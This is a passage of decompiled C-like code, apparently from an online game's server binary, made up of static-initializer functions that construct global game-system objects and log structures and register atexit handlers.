-------------------------------------------------------- void __cdecl _E10_1() { RidePetDataBox::RidePetDataBox((RidePetDataBox *)&ridedatabox); atexit(_E11_4); } //----- (00599860) -------------------------------------------------------- void __cdecl _E4_7() { WholeSaver::WholeSaver(&wholesaver); atexit(_E5_11); } //----- (00599880) -------------------------------------------------------- void __cdecl _E7_4() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"SkillCoolTimeLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&SkillCoolTimeLog - "SkillCoolTimeLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); SkillCoolTimeLog.dl_FilePointer = 0; EraseOldLogList("SkillCoolTimeLog"); SkillCoolTimeLog.dl_Activ = 1; atexit(_E8_7); } //----- (005998D0) -------------------------------------------------------- void __cdecl _E4_8() { ZoneListenSession::ZoneListenSession(&zonelisten); atexit(_E5_13); } //----- (005998F0) -------------------------------------------------------- void __cdecl _E1_4() { atexit(_E2_4); } //----- (00599900) -------------------------------------------------------- void __cdecl _E4_9() { atexit(_E5_14); } //----- (00599910) -------------------------------------------------------- void __cdecl _E1_5() { NPCAction::Manager::Manager((AbnormalStateShelter::AbstateShelter *)&_SoulDamageContainer); atexit(_E2_5); } //----- (00599930) -------------------------------------------------------- void __cdecl _E4_10() { atexit(_E5_15); } //----- (00599940) -------------------------------------------------------- void __cdecl _E7_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"MoverErrorLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&MoverErrorLog - "MoverErrorLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); MoverErrorLog.dl_FilePointer = 0; EraseOldLogList("MoverErrorLog"); MoverErrorLog.dl_Activ = 1; atexit(_E8_8); } //----- (00599990) -------------------------------------------------------- void __cdecl _E1_6() { atexit(_E2_6); } //----- (005999A0) -------------------------------------------------------- void __cdecl _E4_11() { char *v0; // eax@1 signed int v1; // ecx@2 v0 = (char *)&dropitemanalyzer.dia_DropItem[0][0].num; while ( 1 ) { v1 = 500; do { *(_WORD *)v0 = 0; v0 += 6; --v1; } while ( v1 ); if ( (signed int)v0 >= (signed int)&dropitemanalyzer.dia_DropItem[255][0].num ) atexit(_E5_16); } } //----- (005999E0) -------------------------------------------------------- void __cdecl _E1_7() { DropLocationManager::DropLocationManager(&droplocman); atexit(_E2_7); } //----- (00599A00) -------------------------------------------------------- void __cdecl _E1_8() { equipman.eec_Column[0] = (char *)-1; equipman.eec_Column[3] = (char *)-1; equipman.eec_Column[4] = (char *)-1; equipman.eec_Column[5] = (char *)-1; equipman.eec_Column[14] = (char *)-1; equipman.eec_Column[6] = (char *)191; equipman.eec_Column[1] = (char *)192; equipman.eec_Column[23] = (char *)193; equipman.eec_Column[12] = (char *)194; equipman.eec_Column[7] = (char *)195; equipman.eec_Column[10] = (char *)196; equipman.eec_Column[15] = (char *)197; equipman.eec_Column[19] = (char *)198; equipman.eec_Column[16] = (char *)199; equipman.eec_Column[21] = (char *)200; equipman.eec_Column[22] = (char *)201; equipman.eec_Column[20] = (char *)202; equipman.eec_Column[8] = (char *)203; equipman.eec_Column[2] = (char *)204; equipman.eec_Column[24] = (char *)205; equipman.eec_Column[25] = (char *)206; equipman.eec_Column[26] = (char *)207; equipman.eec_Column[27] = (char *)208; equipman.eec_Column[11] = (char *)209; equipman.eec_Column[13] = (char *)210; equipman.eec_Column[9] = (char *)211; equipman.eec_Column[17] = (char *)212; equipman.eec_Column[18] = (char *)213; equipman.eec_Column[28] = (char *)214; atexit(_E2_8); } //----- (00599B90) -------------------------------------------------------- void __cdecl _E4_12() { strncpy(rouname.n3_name, "Rou", 0xCu); atexit(_E5_17); } //----- (00599BB0) -------------------------------------------------------- void __cdecl _E7_6() { atexit(_E8_9); } //----- (00599BC0) -------------------------------------------------------- void __cdecl _E10_2() { atexit(_E11_7); } //----- (00599BD0) -------------------------------------------------------- void __cdecl _E13_0() { FieldContainer::FieldContainer((FieldContainer *)&fieldlist); atexit(_E14_2); } //----- (00599BF0) -------------------------------------------------------- void __cdecl _E16_0() { BTree::BTree(&fieldserial); atexit(_E17_4); } //----- (00599C10) -------------------------------------------------------- void __cdecl _E19() { MapRearrangeObserver::MapRearrangeObserver(&maprearrangeobserver); atexit(_E20_1); } //----- (00599C30) -------------------------------------------------------- void __cdecl _E1_9() { FunctionCallingAnalyzer::FunctionCallingAnalyzer(&funcallanalizer); atexit(_E2_9); } //----- (00599C50) -------------------------------------------------------- void __cdecl _E4_13() { FunctionProfiler::PerformanceRecorder::PerformanceRecorder(&_PerformanceRecorder); atexit(_E5_18); } //----- (00599C70) -------------------------------------------------------- void __cdecl _E4_14() { GatherProduce::GatherTable::GatherTable(&gathertable); atexit(_E5_19); } //----- (00599C90) -------------------------------------------------------- void __cdecl _E7_7() { GatherProduce::RecipeBook::RecipeBook(&recipebook); atexit(_E8_10); } //----- (00599CB0) -------------------------------------------------------- void __cdecl _E4_15() { GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::GuildAcademyRewardStorageManager(&gldacademyrewardstoramanager); atexit(_E5_21); } //----- (00599CD0) -------------------------------------------------------- void __cdecl _E4_16() { MemoryQueue::MemoryQueue(&queue_GuildReName); atexit(_E5_22); } //----- (00599CF0) -------------------------------------------------------- void __cdecl _E7_8() { MemoryQueue::MemoryQueue(&queue_GuildReType); atexit(_E8_11); } //----- (00599D10) -------------------------------------------------------- void __cdecl _E4_17() { GuildStorage::GuildStorageManager::GuildStorageManager(&gldstoramanager); atexit(_E5_23); } //----- (00599D30) -------------------------------------------------------- void __cdecl _E4_18() { strncpy(byte_C8F1EF9, "GuildT0400", 0xCu); byte_C8F1F05 = 0; dword_C8F1F0E = 0; dword_C8F1F0A = 0; *(_DWORD *)dword_C8F1F06 = 0; strncpy(dword_C8F1F06, "GuildT0401", 0xCu); byte_C8F1F12 = 0; dword_C8F1F1B = 0; dword_C8F1F17 = 0; *(_DWORD *)dword_C8F1F13 = 0; strncpy(dword_C8F1F13, "GuildT0402", 0xCu); byte_C8F1F1F = 0; dword_C8F1F28 = 0; dword_C8F1F24 = 0; *(_DWORD *)dword_C8F1F20 = 0; strncpy(dword_C8F1F20, "GuildT0403", 0xCu); byte_C8F1F2C = 0; dword_C8F1F35 = 0; dword_C8F1F31 = 0; *(_DWORD *)dword_C8F1F2D = 0; strncpy(dword_C8F1F2D, "GuildT0404", 0xCu); byte_C8F1F39 = 0; dword_C8F1F42 = 0; dword_C8F1F3E = 0; *(_DWORD *)dword_C8F1F3A = 0; strncpy(dword_C8F1F3A, "GuildT0405", 0xCu); byte_C8F1F46 = 0; dword_C8F1F4F = 0; dword_C8F1F4B = 0; *(_DWORD *)dword_C8F1F47 = 0; strncpy(dword_C8F1F47, "GuildT0406", 0xCu); byte_C8F1F53 = 0; dword_C8F1F5C = 0; dword_C8F1F58 = 0; *(_DWORD *)dword_C8F1F54 = 0; strncpy(dword_C8F1F54, "GuildT0407", 0xCu); byte_C8F1F60 = 0; dword_C8F1F69 = 0; dword_C8F1F65 = 0; *(_DWORD *)dword_C8F1F61 = 0; strncpy(dword_C8F1F61, "GuildT0400", 0xCu); byte_C8F1F6D = 0; dword_C8F1F76 = 0; dword_C8F1F72 = 0; *(_DWORD *)dword_C8F1F6E = 0; strncpy(dword_C8F1F6E, "GuildT0401", 0xCu); byte_C8F1F7A = 0; dword_C8F1F83 = 0; dword_C8F1F7F = 0; *(_DWORD *)dword_C8F1F7B = 0; strncpy(dword_C8F1F7B, "GuildT0402", 0xCu); byte_C8F1F87 = 0; dword_C8F1F90 = 0; dword_C8F1F8C = 0; *(_DWORD *)dword_C8F1F88 = 0; strncpy(dword_C8F1F88, "GuildT0403", 0xCu); byte_C8F1F94 = 0; dword_C8F1F9D = 0; dword_C8F1F99 = 0; *(_DWORD *)dword_C8F1F95 = 0; strncpy(dword_C8F1F95, "GuildT0404", 0xCu); byte_C8F1FA1 = 0; dword_C8F1FAA = 0; dword_C8F1FA6 = 0; *(_DWORD *)dword_C8F1FA2 = 0; strncpy(dword_C8F1FA2, "GuildT0405", 0xCu); byte_C8F1FAE = 0; dword_C8F1FB7 = 0; dword_C8F1FB3 = 0; *(_DWORD *)dword_C8F1FAF = 0; strncpy(dword_C8F1FAF, "GuildT0406", 0xCu); byte_C8F1FBB = 0; dword_C8F1FC4 = 0; dword_C8F1FC0 = 0; *(_DWORD *)dword_C8F1FBC = 0; strncpy(dword_C8F1FBC, "GuildT0407", 0xCu); byte_C8F1FC8 = 0; dword_C8F1FD1 = 0; dword_C8F1FCD = 0; *(_DWORD *)dword_C8F1FC9 = 0; strncpy(dword_C8F1FC9, "GuildT0400", 0xCu); byte_C8F1FD5 = 0; dword_C8F1FDE = 0; dword_C8F1FDA = 0; *(_DWORD *)dword_C8F1FD6 = 0; strncpy(dword_C8F1FD6, "GuildT0401", 0xCu); byte_C8F1FE2 = 0; dword_C8F1FEB = 0; dword_C8F1FE7 = 0; *(_DWORD *)dword_C8F1FE3 = 0; strncpy(dword_C8F1FE3, "GuildT0402", 0xCu); byte_C8F1FEF = 0; dword_C8F1FF8 = 0; dword_C8F1FF4 = 0; *(_DWORD *)dword_C8F1FF0 = 0; strncpy(dword_C8F1FF0, "GuildT0403", 0xCu); byte_C8F1FFC = 0; dword_C8F2005 = 0; dword_C8F2001 = 0; *(_DWORD *)dword_C8F1FFD = 0; strncpy(dword_C8F1FFD, "GuildT0404", 0xCu); byte_C8F2009 = 0; dword_C8F2012 = 0; dword_C8F200E = 0; *(_DWORD *)dword_C8F200A = 0; strncpy(dword_C8F200A, "GuildT0405", 0xCu); byte_C8F2016 = 0; dword_C8F201F = 0; dword_C8F201B = 0; *(_DWORD *)dword_C8F2017 = 0; strncpy(dword_C8F2017, "GuildT0406", 0xCu); byte_C8F2023 = 0; dword_C8F202C = 0; dword_C8F2028 = 0; *(_DWORD *)dword_C8F2024 = 0; strncpy(dword_C8F2024, "GuildT0407", 0xCu); byte_C8F2030 = 0; dword_C8F2039 = 0; dword_C8F2035 = 0; *(_DWORD *)dword_C8F2031 = 0; strncpy(dword_C8F2031, "GuildT0400", 0xCu); byte_C8F203D = 0; dword_C8F2046 = 0; dword_C8F2042 = 0; *(_DWORD *)dword_C8F203E = 0; strncpy(dword_C8F203E, "GuildT0401", 0xCu); byte_C8F204A = 0; dword_C8F2053 = 0; dword_C8F204F = 0; *(_DWORD *)dword_C8F204B = 0; strncpy(dword_C8F204B, "GuildT0402", 0xCu); byte_C8F2057 = 0; dword_C8F2060 = 0; dword_C8F205C = 0; *(_DWORD *)dword_C8F2058 = 0; strncpy(dword_C8F2058, "GuildT0403", 0xCu); byte_C8F2064 = 0; dword_C8F206D = 0; dword_C8F2069 = 0; *(_DWORD *)dword_C8F2065 = 0; strncpy(dword_C8F2065, "GuildT0404", 0xCu); byte_C8F2071 = 0; dword_C8F207A = 0; dword_C8F2076 = 0; *(_DWORD *)dword_C8F2072 = 0; strncpy(dword_C8F2072, "GuildT0405", 0xCu); byte_C8F207E = 0; dword_C8F2087 = 0; dword_C8F2083 = 0; *(_DWORD *)dword_C8F207F = 0; strncpy(dword_C8F207F, "GuildT0406", 0xCu); byte_C8F208B = 0; dword_C8F2094 = 0; dword_C8F2090 = 0; *(_DWORD *)dword_C8F208C = 0; strncpy(dword_C8F208C, "GuildT0407", 0xCu); atexit(_E5_24); } // C8F1F05: using guessed type char byte_C8F1F05; // C8F1F0A: using guessed type int dword_C8F1F0A; // C8F1F0E: using guessed type int dword_C8F1F0E; // C8F1F12: using guessed type char byte_C8F1F12; // C8F1F17: using guessed type int dword_C8F1F17; // C8F1F1B: using guessed type int dword_C8F1F1B; // C8F1F1F: using guessed type char byte_C8F1F1F; // C8F1F24: using guessed type int dword_C8F1F24; // C8F1F28: using guessed type int dword_C8F1F28; // C8F1F2C: using guessed type char byte_C8F1F2C; // C8F1F31: using guessed type int dword_C8F1F31; // C8F1F35: using guessed type int dword_C8F1F35; // C8F1F39: using guessed type char byte_C8F1F39; // C8F1F3E: using guessed type int dword_C8F1F3E; // C8F1F42: using guessed type int dword_C8F1F42; // C8F1F46: using guessed type char byte_C8F1F46; // C8F1F4B: using guessed type int dword_C8F1F4B; // C8F1F4F: using guessed type int dword_C8F1F4F; // C8F1F53: using guessed type char byte_C8F1F53; // C8F1F58: using guessed type int dword_C8F1F58; // C8F1F5C: using guessed type int dword_C8F1F5C; // C8F1F60: using guessed type char byte_C8F1F60; // C8F1F65: using guessed type int dword_C8F1F65; // C8F1F69: using guessed type int dword_C8F1F69; // C8F1F6D: using guessed type char byte_C8F1F6D; // C8F1F72: using guessed type int dword_C8F1F72; // C8F1F76: using guessed type int dword_C8F1F76; // C8F1F7A: using guessed type char byte_C8F1F7A; // C8F1F7F: using guessed type int dword_C8F1F7F; // C8F1F83: using guessed type int dword_C8F1F83; // C8F1F87: using guessed type char byte_C8F1F87; // C8F1F8C: using guessed type int dword_C8F1F8C; // C8F1F90: using guessed type int dword_C8F1F90; // C8F1F94: using guessed type char byte_C8F1F94; // C8F1F99: using guessed type int dword_C8F1F99; // C8F1F9D: using guessed type int dword_C8F1F9D; // C8F1FA1: using guessed type char byte_C8F1FA1; // C8F1FA6: using guessed type int dword_C8F1FA6; // C8F1FAA: using guessed type int dword_C8F1FAA; // C8F1FAE: using guessed type char byte_C8F1FAE; // C8F1FB3: using guessed type int dword_C8F1FB3; // C8F1FB7: using guessed type int dword_C8F1FB7; // C8F1FBB: using guessed type char byte_C8F1FBB; // C8F1FC0: using guessed type int dword_C8F1FC0; // C8F1FC4: using guessed type int dword_C8F1FC4; // C8F1FC8: using guessed type char byte_C8F1FC8; // C8F1FCD: using guessed type int dword_C8F1FCD; // C8F1FD1: using guessed type int dword_C8F1FD1; // C8F1FD5: using guessed type char byte_C8F1FD5; // C8F1FDA: using guessed type int dword_C8F1FDA; // C8F1FDE: using guessed type int dword_C8F1FDE; // C8F1FE2: using guessed type char byte_C8F1FE2; // C8F1FE7: using guessed type int dword_C8F1FE7; // C8F1FEB: using guessed type int dword_C8F1FEB; // C8F1FEF: using guessed type char byte_C8F1FEF; // C8F1FF4: using guessed type int dword_C8F1FF4; // C8F1FF8: using guessed type int dword_C8F1FF8; // C8F1FFC: using guessed type char byte_C8F1FFC; // C8F2001: using guessed type int dword_C8F2001; // C8F2005: using guessed type int dword_C8F2005; // C8F2009: using guessed type char byte_C8F2009; // C8F200E: using guessed type int dword_C8F200E; // C8F2012: using guessed type int dword_C8F2012; // C8F2016: using guessed type char byte_C8F2016; // C8F201B: using guessed type int dword_C8F201B; // C8F201F: using guessed type int dword_C8F201F; // C8F2023: using guessed type char byte_C8F2023; // C8F2028: using guessed type int dword_C8F2028; // C8F202C: using guessed type int dword_C8F202C; // C8F2030: using guessed type char byte_C8F2030; // C8F2035: using guessed type int dword_C8F2035; // C8F2039: using guessed type int dword_C8F2039; // C8F203D: using guessed type char byte_C8F203D; // C8F2042: using guessed type int dword_C8F2042; // C8F2046: using guessed type int dword_C8F2046; // C8F204A: using guessed type char byte_C8F204A; // C8F204F: using guessed type int dword_C8F204F; // C8F2053: using guessed type int dword_C8F2053; // C8F2057: using guessed type char byte_C8F2057; // C8F205C: using guessed type int dword_C8F205C; // C8F2060: using guessed type int dword_C8F2060; // C8F2064: using guessed type char byte_C8F2064; // C8F2069: using guessed type int dword_C8F2069; // C8F206D: using guessed type int dword_C8F206D; // C8F2071: using guessed type char byte_C8F2071; // C8F2076: using guessed type int dword_C8F2076; // C8F207A: using guessed type int dword_C8F207A; // C8F207E: using guessed type char byte_C8F207E; // C8F2083: using guessed type int dword_C8F2083; // C8F2087: using guessed type int dword_C8F2087; // C8F208B: using guessed type char byte_C8F208B; // C8F2090: using guessed type int dword_C8F2090; // C8F2094: using guessed type int dword_C8F2094; //----- (0059A260) -------------------------------------------------------- void __cdecl _E7_9() { _eh_vector_constructor_iterator_( &guildtournamentinfo, 0x24u, 32, (void (__thiscall *)(void *))GuildTouramentLoginDataInfo::GuildTouramentLoginDataInfo, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); atexit(_E8_12); } //----- (0059A290) -------------------------------------------------------- void __cdecl _E3_2() { std::map_std::allocator>>::map_std::allocator>>(&GuildTournamentSystem::sm_mapGuildMemberGrades); atexit(_E4_63); } //----- (0059A2B0) -------------------------------------------------------- void __cdecl _E1_10() { signed int v0; // eax@1 v0 = 4096; do { gldwarman.gwm_Array[gldwarman.gwm_Pointer].attacker = 0; --v0; ++gldwarman.gwm_Pointer; } while ( v0 ); atexit(_E2_10); } //----- (0059A2F0) -------------------------------------------------------- void __cdecl _E4_19() { LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(&lh4ed); atexit(_E5_25); } //----- (0059A310) -------------------------------------------------------- void __cdecl _E7_10() { atexit(_E8_13); } //----- (0059A320) -------------------------------------------------------- void __cdecl _E4_20() { MemoryQueue::MemoryQueue(&queue_cenuse); atexit(_E5_26); } //----- (0059A340) -------------------------------------------------------- void __cdecl _E7_11() { atexit(_E8_14); } //----- (0059A350) -------------------------------------------------------- void __cdecl _E4_21() { ItemLotAnalyser::LotAnalyser::LotAnalyser(&itemlotanalyser); atexit(_E5_27); } //----- (0059A370) -------------------------------------------------------- void __cdecl _E7_12() { atexit(_E8_15); } //----- (0059A380) -------------------------------------------------------- void __cdecl _E10_3() { InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange); atexit(_E11_12); } //----- (0059A3A0) -------------------------------------------------------- void __cdecl _E13_1() { InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange); atexit(_E14_3); } //----- (0059A3C0) -------------------------------------------------------- void __cdecl _E16_1() { InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear); atexit(_E17_7); } //----- (0059A3E0) -------------------------------------------------------- void __cdecl _E19_0() { InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange); atexit(_E20_2); } //----- (0059A400) -------------------------------------------------------- void __cdecl _E22() { InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(&InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation); atexit(_E23_3); } //----- (0059A420) -------------------------------------------------------- void __cdecl _E25() { InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(&InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse); atexit(_E26_1); } //----- (0059A440) -------------------------------------------------------- void __cdecl _E28() { InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(&InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone); atexit(_E29_2); } //----- (0059A460) -------------------------------------------------------- void __cdecl _E31() { InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(&InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward); atexit(_E32_1); } //----- (0059A480) -------------------------------------------------------- void __cdecl _E34() { InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear); atexit(_E35_0); } //----- (0059A4A0) -------------------------------------------------------- void __cdecl _E37() { InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(&InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall); atexit(_E38_0); } //----- (0059A4C0) -------------------------------------------------------- void __cdecl _E40() { InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange); atexit(_E41); } //----- (0059A4E0) -------------------------------------------------------- void __cdecl _E43() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear); atexit(_E44_0); } //----- (0059A500) -------------------------------------------------------- void __cdecl _E46() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear); atexit(_E47_0); } //----- (0059A520) -------------------------------------------------------- void __cdecl _E49() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange); atexit(_E50); } //----- (0059A540) -------------------------------------------------------- void __cdecl _E52() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc); atexit(_E53_0); } //----- (0059A560) -------------------------------------------------------- void __cdecl _E55() { InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(&InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng); atexit(_E56_0); } //----- (0059A580) -------------------------------------------------------- void __cdecl _E58() { InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc); atexit(_E59_0); } //----- (0059A5A0) -------------------------------------------------------- void __cdecl _E61() { InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear); atexit(_E62_0); } //----- (0059A5C0) -------------------------------------------------------- void __cdecl _E64() { InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(&InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo); atexit(_E65_0); } //----- (0059A5E0) -------------------------------------------------------- void __cdecl _E3_3() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("ItemDropFromMobLog"); atexit(_E4_64); } //----- (0059A630) -------------------------------------------------------- void __cdecl _E8_0() { ItemDropFromMob::DropGroupCluster::DropGroupCluster(&dropgroupcluster); atexit(_E9_11); } //----- (0059A650) -------------------------------------------------------- void __cdecl _E11_0() { ItemDropFromMob::DropIndexCluster::DropIndexCluster(&dropindexcluster); atexit(_E12_5); } //----- (0059A670) -------------------------------------------------------- void __cdecl _E16_2() { atexit(_E17_8); } //----- (0059A680) -------------------------------------------------------- void __cdecl _E1_11() { ItemGroupClassifier::ItemGroupClassifier(&itemgroupclassifier); atexit(_E2_11); } //----- (0059A6A0) -------------------------------------------------------- void __cdecl _E4_22() { atexit(_E5_28); } //----- (0059A6B0) -------------------------------------------------------- void __cdecl _E1_12() { ItemRandomOption::RandomOptionTable::RandomOptionTable(&itemrandomoptiontable); atexit(_E2_12); } //----- (0059A6D0) -------------------------------------------------------- void __cdecl _E3_4() { ItemsInChest::ItemsInChest(&itemsinchest); atexit(_E4_65); } //----- (0059A6F0) -------------------------------------------------------- void __cdecl _E3_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"KQEntryCheckLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&KQEntryCheckLog - "KQEntryCheckLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); KQEntryCheckLog.dl_FilePointer = 0; EraseOldLogList("KQEntryCheckLog"); KQEntryCheckLog.dl_Activ = 1; atexit(_E4_66); } //----- (0059A740) -------------------------------------------------------- void __cdecl _E6() { strncpy(KingSlime, "KDEddyHill00", 0xCu); atexit(_E7_39); } //----- (0059A760) -------------------------------------------------------- void __cdecl _E9() { KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(&kqcontainer); atexit(_E10_19); } //----- (0059A780) -------------------------------------------------------- void __cdecl _E18() { KingdomQuestEntrance::KingdomQuestEntrance(&kqentrance); atexit(_E19_12); } //----- (0059A7A0) -------------------------------------------------------- void __cdecl _E23_0() { KingdomQuestGate::KingdomQuestGate(&kqgate); atexit(_E24_3); } //----- (0059A7C0) -------------------------------------------------------- void __cdecl _E4_23() { KQContribute::KQContributeList::KQContributeList((KQContribute::KQContributeList *)&g_KQContributeList); atexit(_E5_29); } //----- (0059A7E0) -------------------------------------------------------- void __cdecl _E1_13() { KQRewardDataBox::KQRewardDataBox(&kqreward); atexit(_E2_13); } //----- (0059A800) -------------------------------------------------------- void __cdecl _E1_14() { atexit(_E2_14); } //----- (0059A810) -------------------------------------------------------- void __cdecl _E4_24() { atexit(_E5_30); } //----- (0059A820) -------------------------------------------------------- void __cdecl _E7_13() { atexit(_E8_17); } //----- (0059A830) -------------------------------------------------------- void __cdecl _E4_25() { RecallPointTable::RecallPointTable((ShineScript *)&magiccontainer); atexit(_E5_31); } //----- (0059A850) -------------------------------------------------------- void __cdecl _E7_14() { atexit(_E8_18); } //----- (0059A860) -------------------------------------------------------- void __cdecl _E10_4() { atexit(_E11_13); } //----- (0059A870) -------------------------------------------------------- void __cdecl _E1_15() { CFindWay::CFindWay(&findway); atexit(_E2_15); } //----- (0059A890) -------------------------------------------------------- void __cdecl _E4_26() { MapBlock::MapBlockInformationBox::MapBlockInformationBox(&blockinfobox); atexit(_E5_32); } //----- (0059A8B0) -------------------------------------------------------- void __cdecl _E3_6() { MapClusterManager::ClusterManager::ClusterManager(&mapclustermanager); atexit(_E4_67); } //----- (0059A8D0) -------------------------------------------------------- void __cdecl _E7_15() { TownPortalData::TownPortalData(&townportaldata); atexit(_E8_19); } //----- (0059A8F0) -------------------------------------------------------- void __cdecl _E3_7() { MiniHouseEndureDataBox::MiniHouseEndureDataBox(&minihouseenduredatabox); atexit(_E4_68); } //----- (0059A910) -------------------------------------------------------- void __cdecl _E3_8() { MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(&minihouseobjanidatabox); atexit(_E4_69); } //----- (0059A930) -------------------------------------------------------- void __cdecl _E4_27() { dword_CBB2450 = 0; dword_CBB2454 = 0; dword_CBB2458 = 0; dword_CBB245C = 0; dword_CBB2460 = 0; dword_CBB2464 = 0; dword_CBB2468 = 0; dword_CBB246C = 0; dword_CBB2470 = 0; dword_CBB2474 = 0; dword_CBB2478 = 0; dword_CBB247C = 0; dword_CBB2480 = 0; dword_CBB2484 = 0; word_CBB2488 = 0; MiscDataTable::mdt_DefSkill = -1; word_CBB243A = -1; word_CBB244C = -1; byte_CBB244E = 0; byte_CBB244F = 0; dword_CBB248C = 0; byte_CBB2490 &= 0xFEu; word_CBB24A4 = 0; dword_CBB2494 = 0; dword_CBB24A0 = 0; MiscDataTable::mdt_DefAbState = -1; byte_CBB24AE = 0; dword_CBB24B0 = 0; dword_CBB24B4 = 0; atexit(_E5_33); } // CBB2438: using guessed type __int16 MiscDataTable__mdt_DefSkill; // CBB243A: using guessed type __int16 word_CBB243A; // CBB244C: using guessed type __int16 word_CBB244C; // CBB244E: using guessed type char byte_CBB244E; // CBB244F: using guessed type char byte_CBB244F; // CBB2450: using guessed type int dword_CBB2450; // CBB2454: using guessed type int dword_CBB2454; // CBB2458: using guessed type int dword_CBB2458; // CBB245C: using guessed type int dword_CBB245C; // CBB2460: using guessed type int dword_CBB2460; // CBB2464: using guessed type int dword_CBB2464; // CBB2468: using guessed type int dword_CBB2468; // CBB246C: using guessed type int dword_CBB246C; // CBB2470: using guessed type int dword_CBB2470; // CBB2474: using guessed type int dword_CBB2474; // CBB2478: using guessed type int dword_CBB2478; // CBB247C: using guessed type int dword_CBB247C; // CBB2480: using guessed type int dword_CBB2480; // CBB2484: using guessed type int dword_CBB2484; // CBB2488: using guessed type __int16 word_CBB2488; // CBB248C: using guessed type int dword_CBB248C; // CBB2490: using guessed type char byte_CBB2490; // CBB2494: using guessed type int dword_CBB2494; // CBB24A0: using guessed type int dword_CBB24A0; // CBB24A4: using guessed type __int16 word_CBB24A4; // CBB24AC: using guessed type __int16 MiscDataTable__mdt_DefAbState; // CBB24AE: using guessed type char byte_CBB24AE; // CBB24B0: using guessed type int dword_CBB24B0; // CBB24B4: using guessed type int dword_CBB24B4; //----- (0059AA00) -------------------------------------------------------- void __cdecl _E7_16() { atexit(_E8_20); } //----- (0059AA10) -------------------------------------------------------- void __cdecl _E10_5() { MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(&mobexploseenemy); atexit(_E11_15); } //----- (0059AA30) -------------------------------------------------------- void __cdecl _E13_2() { MobExplosionElement::MobExplosionTarget::MobExplosionTarget(&mobexplosetarget); atexit(_E14_4); } //----- (0059AA50) -------------------------------------------------------- void __cdecl _E16_3() { MobExplosionElement::MobExplosionAlways::MobExplosionAlways(&mobexplosealways); atexit(_E17_9); } //----- (0059AA70) -------------------------------------------------------- void __cdecl _E4_28() { MobAttackSequence::MobAttackSequence(&mobattseq); atexit(_E5_34); } //----- (0059AA90) -------------------------------------------------------- void __cdecl _E4_29() { MobTargetEraser::MobTargetEraser(&mobtargeteraser); atexit(_E5_35); } //----- (0059AAB0) -------------------------------------------------------- void __cdecl _E4_30() { MobChat::MobChatManager::MobChatManager(&mobchatman); atexit(_E5_36); } //----- (0059AAD0) -------------------------------------------------------- void __cdecl _E4_31() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"NPCDeadLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&NPCDeadLog - "NPCDeadLog" + v0) = *(_BYTE *)v0; ++v0; } while 